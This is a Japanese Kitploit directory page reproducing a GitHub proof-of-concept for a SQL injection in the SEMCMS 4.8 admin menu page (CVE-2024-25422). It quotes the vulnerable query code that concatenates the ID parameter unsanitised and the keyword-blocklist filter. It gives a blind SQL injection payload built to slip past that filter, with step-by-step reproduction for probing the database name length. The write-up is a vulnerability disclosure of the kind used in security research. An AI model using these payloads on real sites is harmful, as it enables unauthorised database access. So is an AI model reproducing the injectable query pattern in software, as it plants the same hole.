Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
semcms — semcmsにSQLインジェクションが存在します(CVE-2024-25422 ) | Kitploit
ツール/GitHubGitHub/tzyyyyyyy/semcms
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubtzyyyyyyy/semcms

semcms

semcmsにSQLインジェクションが存在します(CVE-2024-25422 )

リポジトリを見る
42年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Introduction to Semcms

SEMCMSは、多言語に対応した外国貿易ウェブサイト向けコンテンツ管理システム(CMS)です。

root@kitploit:~
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip

脆弱性の原因:

/xcR45q_Admin/SEMCMS_Menu.php 66行目

脆弱性コード:

root@kitploit:~
<?php
 } elseif ($type == "edit") {
 
   $row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
 
   ?>

ここで、IDはGETでパラメータを渡す際にSQL文を実行することがわかります。

フィルターコード: /Include/contorl. PHP

151行目

root@kitploit:~
function test_input($data) { 
    //$data = str_replace("%", "percent", $data);
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data,*ENT_QUOTES*);
    return $data;
  }

そして8行目

root@kitploit:~
function inject_check_sql($sql_str) {
 
   return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
 } 
 function verify_str($str) { 
    if(inject_check_sql($str)) {
      exit('Sorry,You do this is wrong! (.-.)');
     } 
   return $str;
 } 

上記の内容をフィルタリングすることで、ペイロードを構築できます。

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

脆弱性の再現

ウェブサイトにアクセスします

root@kitploit:~
http://url/xcR45q_Admin/SEMCMS_Menu.php

Brupsuite パケットキャプチャ、新しいサイトを作成する際のデータベース名の長さが5であるため、ペイロードは次のように構築されます。

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,53,36)

(データベース名の長さが5かどうかを判定)

ペイロードを挿入してエコーを確認します

clip_image002

この時点でペイロードを変更します

root@kitploit:~
-1%20or%20length(database())%20REGEXP%20char(94,54,36)

(データベース名の長さが6かどうかを判定)

この時点でペイロードを変更します

clip_image004

今後はページの変化に基づいてSQLインジェクションを継続できます。

ツールをダウンロード